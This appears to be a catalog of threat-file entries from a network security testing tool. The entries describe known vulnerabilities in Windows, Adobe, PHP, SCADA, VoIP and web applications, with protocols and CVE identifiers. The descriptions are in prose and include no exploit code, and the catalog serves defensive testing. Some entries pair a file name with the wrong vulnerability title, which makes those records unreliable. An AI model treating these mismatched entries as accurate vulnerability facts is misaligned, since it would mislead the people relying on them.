Threat File Name:	TSL20161213-01_Microsoft_Windows_Uniscribe_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Uniscribe Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows Uniscribe component. The vulnerability is due to improper handling of Format 14 cmap subtable in font files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page or document. Successful exploitation could result in arbitrary code execution under the security context of the logged in user.
Protocol Type:	HTTP, HTTPS, SMB/CIFS, IMAP, POP3, SMTP, IPv6
CVEID:	CVE-2016-7274
Threat File Name:	TSL20120508-30_Adobe_Shockwave_Player_rcsL_Chunk_Parsing_Out_of_Bounds_Array_Indexing_IPv6.xml
Executive Description:	Adobe Shockwave Player rcsL Chunk Parsing Out of Bounds Array Indexing
Detailed Description:	A code execution vulnerability has been reported in Adobe Shockwave Player. The vulnerability is due to an error while parsing crafted data in an rcsL RIFF chunk of a DIR file. An attacker can exploit this vulnerability by enticing a user to process a malicious file, which can result in remote code execution under the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2031
OSVDB:	81750
Threat File Name:	telnet_xss_IPv6.xml
Executive Description:	Telnet Cross Site Scripting Attack (IPv6 Version)
Detailed Description:	This threat sends a crafted set of login attempts to cause a cross site scripting attack on the remote management interface of the target device. This allows the attacker to redirect the log page and perform scripting actions on the device. Telnet typically listens on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160809-31_Nagios_Network_Analyzer_create_Cross-Site_Request_Forgery.xml
Executive Description:	Nagios Network Analyzer create Cross-Site Request Forgery
Detailed Description:	A cross-site request forgery vulnerability exists in the create user interface of Nagios Network Analyzer. The vulnerability is due to a lack of CSRF protection on the user creation form in create_user.php. A remote, unauthenticated attacker can exploit this vulnerability by enticing an authenticated administrator to visit a maliciously crafted page. Successful exploitation could allow the attacker to create a user with administrative privileges on the web server.
Protocol Type:	HTTP
Threat File Name:	FSC20080909-07_Microsoft_Windows_Graphics_Rendering_Engine_VML_Gradient_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine VML Gradient Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability has been discovered in the Graphics Rendering Engine (GRE) component of Microsoft Windows. The vulnerability is due to the way that GDI+ handles gradient sizes. An attacker can exploit this vulnerability by enticing a user to browse a malicious Web site with specially crafted content. An attack can lead to denial of service, or in the injection and execution of arbitrary code with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5348
Threat Package:	Standard
Threat File Name:	TSL20120216-08_PHP_htmlespecialchars_htmlentities_Buffer_Overflow_IPv6.xml
Executive Description:	PHP htmlespecialchars htmlentities Buffer Overflow(IPV6 Version)

Detailed Description:	A buffer overflow vulnerability exists in PHP. The vulnerability is due to an error while processing numeric entities by the htmlspecialchars and htmlentities PHP functions. A remote attacker could exploit this vulnerability by sending a malicious request to a web application that uses these functions. A successful attack attempt could result in the execution of arbitrary code in the security context of the HTTP service, which is normally user "nobody" for Apache on Linux. Configurations where the HTTP server runs as root or SYSTEM are uncommon.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	FSC20080311-17_Microsoft_Office_Web_Components_DataSource_Code_Execution.xml
Executive Description:	Microsoft Office Web Components DataSource Code Execution
Detailed Description:	There exists a file creation vulnerability in Microsoft Web Components Control ActiveX control. The flaw is due to lack of path verification in the control's DataSource. A remote attacker may exploit this vulnerability via a specially crafted web page to create arbitrary files on the target system. After successfully exploiting this vulnerability, a file on the target file system might be created. An attacker may write a file to the start up folder in order to execute arbitrary code during the next reboot or logon session to gain access to the system. Thus, the behaviour of the target depends on the intention of the attacker. Note that file overwrites are not possible using this vulnerability.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2007-1201
Threat Package:	Standard
Threat File Name:	TSL20131211-05_PHP_OpenSSL_Extension_X_509_Certificate_Memory_Corruption_IPv6.xml
Executive Description:	PHP OpenSSL Extension X.509 Certificate Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in PHP. The vulnerability is due to a memory corruption error when handling a malicious ASN.1 data type for a timestamp in an X.509 certificate. A remote attacker can exploit this flaw by sending a malicious certificate. Successful exploitation could result in the execution of arbitrary code in the security context of the target service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-6420
OSVDB:	100979
Threat File Name:	x86NOOPtcpSGI2.xml
Executive Description:	TCP x86 NOOP Packet Variant SGI2
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	ms_mediasx_dos_IPv6.xml
Executive Description:	Windows Media ASX PlayList File Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious asx playlist file that once played in a vulnerable Windows Media Player client will result in a denial of service condition. Windows Media Player is a client application that can retrieveasx playlist files from a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	siprandomversion_IPv6.xml
Executive Description:	SIP Random Version (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with random strings for its version fields. This can confuse or crash a PBX that is not very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20160922-08_Drupal_Core_system_temporary_Information_Disclosure_IPv6.xml
Executive Description:	Drupal Core system temporary Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Drupal Core. The vulnerability is due to insufficient access control on the ability to download a full configuration export via the system temporary route. A remote, authenticated user can exploit this vulnerability by sending a crafted request to the target. Successful exploitation could result in the disclosure of sensitive information.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-7572
Threat File Name:	TSL20140211-05_Schneider_Electric_ClearSCADA_OPF_File_Parsing_Out_of_Bounds_Array_Indexing.xml
Executive Description:	Schneider Electric ClearSCADA OPF File Parsing Out of Bounds Array Indexing
Detailed Description:	A code execution vulnerability has been reported in Schneider Electric ClearSCADA. The vulnerability is due improper validation of a length parameter that is used to index an array in the OPF File parsing component. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious file. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2014-0779
OSVDB:	103150
Threat File Name:	TSL20111220-02_Microsoft_Windows_win32k_sys_Memory_Corruption.xml
Executive Description:	Microsoft Windows Object Packager ClickOnce Object Handling Code Execution
Detailed Description:	A memory corruption vulnerability has been reported in the Microsoft Windows kernel file win32k.sys. The public proof of concept triggers the vulnerability through a specially sized iFrame opened with the Safari web browser. A remote, unauthenticated attacker can also be trigger this vulnerability by enticing a user to visit a specially crafted web page with the vulnerable application. Successful exploitation could result in arbitrary code execution with kernel privileges. Note: This vulnerability has been confirmed by Secunia on a fully patched installation of Windows 7 64 bit, other versions may also be vulnerable. Telus Security Labs has been able to reproduce this vulnerability with the published exploit. However, to fully understand the mechanism of the vulnerability, further investigation is required.
Protocol Type:	HTTP,HTTPS

CVEID: [CVE-2011-5046](#)

Threat File Name:	TSL20140220-13_ESF_pfSense_webConfigurator_firewall_aliases_edit_php_Input_Validation_Error.xml
Executive Description:	ESF pfSense webConfigurator firewall_aliases_edit.php Input Validation Error
Detailed Description:	An input validation error vulnerability exists in Electric Sheep Fencing pfSense firewall. The vulnerability is due to insufficient validation of user supplied input when processing the addressN parameter in firewall_aliases_edit.php. A remote authenticated attacker could exploit this vulnerability by sending a malicious request using the vulnerable parameter to the firewall. Successful exploitation could lead to remote code execution under the security context of the root user.
Protocol Type:	HTTP,HTTPS

Threat File Name:	FSC20080828-03_Red_Hat_Directory_Server_Accept-Language_HTTP_Header_Parsing_Buffer_IPv6.xml
Executive Description:	Red Hat Directory Server Accept-Language HTTP Header Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Red Hat Directory Server. The flaw is due to improper data validation in the Administrator Web Interface component. A remote attacker can trigger this vulnerability by sending crafted HTTP request to the affected service, potentially inject and execute arbitrary code with root level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-2928
Threat Package:	Standard

Threat File Name:	DHCP_hostname_alert.xml
Executive Description:	DHCP Hostname XSS Injection
Detailed Description:	This threat sends a DHCP Discover packet with the hostname option set. The hostname is set to a portion of Javascript that creates a pop-up window. This technique can be used by a rogue host on the network to run Javascript with administrator privileges on the device serving the web page.
Protocol Type:	DHCP
CVEID:	CVE-2004-0615
OSVDB:	7211
Threat Package:	Standard

Threat File Name:	TSL20090714-05_Microsoft_DirectShow_QuickTime_Atom_Size_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft DirectShow QuickTime Atom Size Memory Corruption(IPv6)
Detailed Description:	A remote code execution vulnerability is reported in Microsoft DirectShow QuickTime Movie Parser filter. The vulnerability is due to improperly input validation when handling crafted atom size value in QuickTime format files. Remote attackers could exploit this vulnerability by convincing a target user to open a malicious QuickTime media file. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,SMTP,POP3,IPV6
CVEID:	CVE-2009-1539

Threat File Name:	TSL20150113-14_Microsoft_Windows_Telnet_Service_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Telnet Service Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Telnet service. The vulnerability is due to an input validation error in processing Telnet messages. A remote attacker can exploit this vulnerability by sending crafted Telnet messages to a vulnerable server. Successful exploitation could possibly results in arbitrary code execution in the security context of the "Local Service" account. Tester should set variable \$destPort to 23 before test.
Protocol Type:	Telnet.IPV6
CVEID:	CVE-2015-0014
OSVDB:	116954

Threat File Name:	FSC20090115-11_Oracle_Secure_Backup_NDMP_Packet_Handling_Multiple_Denial_of_Service.xml
Executive Description:	Oracle Secure Backup NDMP Packet Handling Multiple Denial of Service
Detailed Description:	Multiple denial of service vulnerabilities exist in Oracle Secure Backup. The flaws are due to insufficient input validation when processing NDMP requests. Remote unauthenticated attackers can exploit these vulnerabilities by sending a specially crafted request to the affected server. A successful exploitation can lead to on the Oracle Secure Backup service, and abnormally terminate an instance of the affected process.
Protocol Type:	NDMP
CVEID:	CVE-2008-5441
Threat Package:	Standard

Threat File Name:	FSC20070329-02_Microsoft_Windows_Crafted_Animated_Cursor_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Crafted Animated Cursor Handling Buffer Overflow
Detailed Description:	There exists a stack-based buffer overflow in Microsoft Windows. The vulnerability is due to insufficient format validation while handling malformed ANI (Animated Cursor) files. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious email message or visit a malicious website using Internet Explorer. Successful exploitation would allow for arbitrary code execution with the privileges of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0038
Threat Package:	Standard

Threat File Name:	FSC20060214-06_Microsoft_Windows_IGMP_v3_DoS_Vulnerability.xml
Executive Description:	Microsoft Windows IGMP v3 DoS Vulnerability
Detailed Description:	There is a denial of service vulnerability in the Microsoft Windows TCP/IP stack driver. The flaw is due to insufficient validation when processing Internet Group Management Protocol (IGMP) messages. An unauthenticated remote attacker can leverage this vulnerability to create a system wide denial of service condition on the target host.
Protocol Type:	IGMP
CVEID:	CVE-2006-0021
Threat Package:	Standard

Threat File Name:	phpinfoXSS.xml
-------------------	----------------

Executive Description:	phpinfo() Cross Site Scripting Attempt
Detailed Description:	This threat attempts to cause a cross site scripting condition through the phpinfo function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHP is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3388
OSVDB:	20406
Threat Package:	Standard
Threat File Name:	fastream_Traversal_IPv6.xml
Executive Description:	Fastream Web Server Directory Traversal (IPv6 Version)
Detailed Description:	This threat takes advantage of a directory traversal bug in Fastream's Netfile Web Server. This can allow a user to arbitrarily view, delete, and create files on the host computer. This can lead to remote system compromise if the webserver has full access rights to the host operating system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0676
OSVDB:	15914
Threat Package:	Standard
Threat File Name:	TSL20170314-33_Microsoft_Internet_Explorer_and_Edge_Blocksites.htm_Spoofing.xml
Executive Description:	Microsoft Internet Explorer and Edge Blocksites.htm Spoofing
Detailed Description:	A website spoofing vulnerability exists in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access restrictions in the ms-appx-web protocol when accessing the Blocksites.htm resource. A remote, unauthenticated attacker could exploit this vulnerability by redirecting the user to a specially crafted website. Successful exploitation could allow the attacker to serve spoofed contents.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0033
Threat File Name:	confixx_rfi_IPv6.xml
Executive Description:	Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Confixx is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4009
Threat Package:	Standard
Threat File Name:	FSC20040309-02_Microsoft_Outlook_2002_Script_Execution.xml
Executive Description:	Microsoft Outlook 2002 Script Execution
Detailed Description:	Microsoft Outlook, an email client, contains a vulnerability in the handling of a mailto: URI. The lack of filtering of parameters passed to Outlook via the "mailto:" URI allows for script execution in the Local Machine zone on a vulnerable system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0121
Threat Package:	Standard
Threat File Name:	lupper28_IPv6.xml
Executive Description:	Lupper Worm 28 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	oes_rfi.xml
Executive Description:	OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OES is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1446
Threat Package:	Standard
Threat File Name:	TSL20101012-13_Microsoft_Windows_OpenType_Font_Validation_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows OpenType Font Validation Integer Overflow(IPV6 Version)
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows OpenType format driver. The vulnerability is due to insufficient validation of an integer value while processing the Font Table Directory inside OpenType font. Remote attackers can exploit this vulnerability by enticing target users to view a maliciously crafted font in an application that utilizes the affected font engine, such as Windows Font Viewer. Successful exploitation of this vulnerability would result in arbitrary code execution within the kernel. In case of an unsuccessful code injection attack, the affected system will crash, causing denial of service condition.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2010-2741
Threat File Name:	TSL20130919-10_Cisco_Prime_Data_Center_Network_Manager_processImageSave_jsp_Arbitrary_File_Upload_IPv6.xml
Executive Description:	Cisco Prime Data Center Network Manager processImageSave.jsp Arbitrary File Upload(IPV6 Version)
Detailed Description:	An arbitrary file upload vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in the <italic>processImageSave.jsp</italic> when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2013-5486
OSVDB:	97426

Threat File Name:	FSC20040916-01_Apache_apr-util_IPv6_URI_Parsing_Vulnerability.xml
Executive Description:	Apache apr-util IPv6 URI Parsing Vulnerability
Detailed Description:	A input validation vulnerability exists in the way the apr-util library, a component of the Apache 2.x HTTP server, parses URI strings.. The vulnerability can be triggered by sending a crafted URL which contain a malformed IPv6 literal addresses. The vulnerability is exploitable whether or not the HTTP server is bound to an IPv4 or IPv6 address. An attacker can trigger the vulnerability to create a denial of service condition. Under some configurations or platforms, exploitation of the vulnerability could lead to remote code execution.
Protocol Type:	HTTP
CVEID:	CVE-2004-0786
Threat Package:	Standard
Threat File Name:	FSC20040713-02_Microsoft_showHelp_Vulnerability.xml
Executive Description:	Microsoft showHelp Vulnerability
Detailed Description:	There is a vulnerability in the way Microsoft's HTML help system validates .chm files. The URI parameter to this system through the showHelp method can reference a file on the local system outside of the help system through a directory traversal. When an attacker executes this method with a specially crafted URI, the attacker can execute arbitrary code on a vulnerable target.
Protocol Type:	HTTP
CVEID:	CVE-2003-1041
Threat Package:	Standard
Threat File Name:	TSL20131024-04_Oracle_Outside_In_OS_2_Metafile_Parser_Stack_Buffer_Overflow.xml
Executive Description:	Oracle Outside In OS 2 Metafile Parser Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to a boundary error while processing OS/2 Metafiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed files. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-5763
OSVDB:	98894
Threat File Name:	TSL20160912-05_Digium_Asterisk_PJSIP_Stack_ACK_Denial_of_Service.xml
Executive Description:	Digium Asterisk PJSIP Stack ACK Denial of Service
Detailed Description:	A denial of service vulnerability exists in Digium Asterisk when the PJSIP stack is used. The vulnerability is due to improper processing of ACKs from an unrecognized endpoint, that causes a NULL pointer dereference. A remote unauthenticated attacker can exploit this vulnerability by sending an ACK to the target server. Successful exploitation would cause a denial of service condition.
Protocol Type:	SIP, SIPS
Threat File Name:	FSC20040617-01_KAME_racoon_X509_Certificate_Verification.xml
Executive Description:	KAME racoon X509 Certificate Verification
Detailed Description:	The IKE daemon of KAME racoon has a vulnerability where an invalid X.509 certificate will be accepted as valid. This would allow an invalid certificate to be used to establish a security association with a KAME based VPN end-point.
Protocol Type:	ISAKMP
CVEID:	CVE-2004-0607
Threat Package:	Standard
Threat File Name:	TSL20140114-32_Oracle_Java_Beans_DocumentHandler_XML_External_Entity_IPv6.xml
Executive Description:	Poster Software PUBLISH-IT PUI File Processing Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Poster Software PUBLISH-IT. The vulnerability is due to insufficient validation on the length of entry names in a "styl" record when processing PUI files. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious PUI file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2014-0980
OSVDB:	102911
Threat File Name:	contrex_XSS_injection_IPv6.xml
Executive Description:	Contrex Cross Site Scripting Attack (IPv6 Version)
Detailed Description:	This attack uses a XSS flaw in the Contrex CMS. This allows arbitrary injection of Javascript into the viewable page, allowing an attacker to steal session, password, and other personal information from the end user. Contrex is a PHP web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2416
OSVDB:	18168
Threat Package:	Standard
Threat File Name:	pagetool_sqli.xml
Executive Description:	Pagetool 1.07 (news_id) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Pagetool is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3402
Threat Package:	Standard
Threat File Name:	TSL20120814-20_Adobe_Reader_and_Acrobat_WKT_String_Buffer_Overflow.xml
Executive Description:	Adobe Reader and Acrobat WKT String Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat which can allow an attacker to take control of a target system. The vulnerability is due to lack of bounds checking when parsing certain Well Known Text (WKT) strings within a PDF document. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary code in the security context of the target user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-2050

Threat File Name:	FSC20040405-01_TCPDUMP_ISAKMP_Payload_Handling_DoS_IPv6.xml
Executive Description:	TCPDUMP ISAKMP Payload Handling DoS (IPv6 Version)
Detailed Description:	Two vulnerabilities exist in the Tcpcdump ISAKMP payload handling module, which can be exploited to cause a DoS (Denial of Service) by sending packets with specially crafted payloads. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
CVEID:	CVE-2004-0183
Threat Package:	Standard
Threat File Name:	firefox_marque_dos_IPv6.xml
Executive Description:	Firefox Marquee Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a malicious piece of html which will cause Mozilla Firefox and related browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2723
Threat Package:	Standard
Threat File Name:	TSL20110822-05_RealNetworks_RealPlayer_QCP_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer QCP Parsing Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due to insufficient bounds checking while copying user-supplied data into a fixed-length buffer. This can lead to a buffer overflow and subsequent memory corruption. A remote attacker can exploit this vulnerability by enticing a user to download and process a malicious QCP file with a vulnerable version of the application. A successful attack would result in the execution of attacker-controlled code in the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2950
Threat File Name:	web-provence_rfi.xml
Executive Description:	Web-Provence SL_Site Spaw_control.class.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Web-Provence is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	malformedLengthIP.xml
Executive Description:	Malformed Random IP Packet Length
Detailed Description:	This threat sends IP packets with the IP length field set to a random value. Can cause buffer overruns and other potential problems in poor stack implementations.
Protocol Type:	IP
CVEID:	CVE-2004-1432
OSVDB:	8149
Threat Package:	Standard
Threat File Name:	TSL20090922-09_Apple_iTunes_PLS_File_Parsing_Buffer_Overflow.xml
Executive Description:	Apple iTunes PLS File Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Apple iTunes. The error is due to improper bounds checking when copying user supplied data into a buffer. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted .pls file. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	IMAP,HTTP,HTTPS,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2009-2817
Threat File Name:	FSC20070920-07_IBM_Tivoli_Storage_Manager_Express_CAD_Service_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager Express CAD Service Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the IBM Tivoli Storage Manager product. The flaw is due to a boundary error in the processing of specially crafted HTTP requests. A remote unauthenticated attacker may exploit this flaw to cause denial of service, or inject and execute arbitrary code on the target host, normally with the System privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-4880
Threat Package:	Standard
Threat File Name:	viewpoint_mediaplayer_bof_IPv6.xml
Executive Description:	Viewpoint Media Player for IE 3.2 (AxMetaStream.dll) Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Viewpoint Media Player ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070117-14_Microsoft_Help_Workshop_CNT_Help_Contents_Buffer_Overflow.xml
Executive Description:	Microsoft Help Workshop CNT Help Contents Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been found in the Microsoft Help Workshop product. The flaw is created by insufficient boundary checks of strings supplied in Help Content (CNT) files. A malicious user may construct a CNT file that will result in the diversion of the process flow of the vulnerable application.
Protocol Type:	HTTP
CVEID:	CVE-2007-0352
Threat Package:	Standard
Threat File Name:	FSC20080521-20_IBM_Lotus_Sametime_Server_Multiplexer_Stack_Buffer_Overflow.xml
Executive Description:	IBM Lotus Sametime Server Multiplexer Stack Buffer Overflow

Detailed Description:	A stack-based buffer overflow vulnerability exists in the Community Services Multiplexer component of IBM Lotus Sametime. The vulnerability is the result of a boundary-check error during parsing of long URLs by the Community Services Multiplexer. A remote unauthenticated attacker can exploit this vulnerability for code execution by sending a specially crafted HTTP request to the target server. Any code injected using this vulnerability would be execution within the security context of the affected process, normally System.
Protocol Type:	TCP
CVEID:	CVE-2008-2499
Threat Package:	Standard
Threat File Name:	mssql_svr_activex_bof.xml
Executive Description:	Microsoft SQL Server (sqldmo.dll) ActiveX Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft SQL Server (sqldmo.dll) ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120106-03_HP_OpenView_Network_Node_Manager_webappmon_exe_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager webappmon.exe Buffer Overflow(IPV6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in the HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error when processing maliciously crafted parameters in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed. If successful, the code will run with the privileges of the affected CGI program.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-3166
Threat File Name:	TSL20101012-05_Microsoft_Windows_Media_Player_Network_Sharing_Service_RTSP_Code__Execution.xml
Executive Description:	Microsoft Windows Media Player Network Sharing Service RTSP Code Execution
Detailed Description:	A remote code execution vulnerability has been reported in the Microsoft Windows Media Player Network Sharing Service. The vulnerability is caused by an use after free when handling the RTSP request. An attacker can exploit this vulnerability by sending a malicious RTSP request to a vulnerable system. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Tester should set variable \$destPort 554 before test.
Protocol Type:	RTSP
CVEID:	CVE-2010-3225
Threat File Name:	FSC20100908-06_Apple_Safari_Webkit_Floating_Point_Data_Type_Code_Execution.xml
Executive Description:	Apple Safari Webkit Floating Point Data Type Code Execution
Detailed Description:	A code execution vulnerability has been reported in Apple Safari web browser. The vulnerability is due to a design error when processing floating point data types. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1807
Threat Package:	Standard
Threat File Name:	TSL20161220-05_Microsoft_Office_CVE-2016-7264_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Microsoft Office CVE-2016-7264 Out of Bounds Read (IPV6 Version)
Detailed Description:	An out of bounds read vulnerability has been reported in Microsoft Office. The vulnerability is due to failure in handling certain objects in memory which leads to an out of bound memory read. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation allows the attacker to retrieve information that could lead to an Address Space Layout Randomization bypass.
Protocol Type:	HTTP, HTTPS, POP3, IMAP, SMTP, SMB/CIFS, IPV6
CVEID:	CVE-2016-7264
Threat File Name:	TSL20131105-01_Microsoft_Windows_and_Office_TIFF_Handling_GDI_Memory_Corruption.xml
Executive Description:	Microsoft Windows and Office TIFF Handling GDI Memory Corruption
Detailed Description:	An integer overflow vulnerability exists in the way Microsoft Windows, Office and Lync handle certain TIFF image files. When Microsoft's GDI+ library handles a crafted TIFF file it can corrupt memory. A remote attacker could exploit this vulnerability by enticing a user to open a crafted TIFF file, possibly embedded in another file such as Microsoft office document. Successful exploitation could result arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,MMS,POP3,RTSP,SMB/CIFS,SMTP
CVEID:	CVE-2013-3906
OSVDB:	99376
Threat File Name:	top_auction_sql1.xml
Executive Description:	Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Top Auction is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3952
OSVDB:	21106
Threat Package:	Standard
Threat File Name:	FSC20060711-13_Microsoft_Excel_Malformed_SELECTION_Record_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed SELECTION Record Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing Selection Records in the Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted excel file, causing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP

CVEID:	CVE-2006-1301
Threat Package:	Standard
Threat File Name:	FSC20040804-01_Mozilla_SOAPParameter_Integer_Overflow_Vulnerability.xml
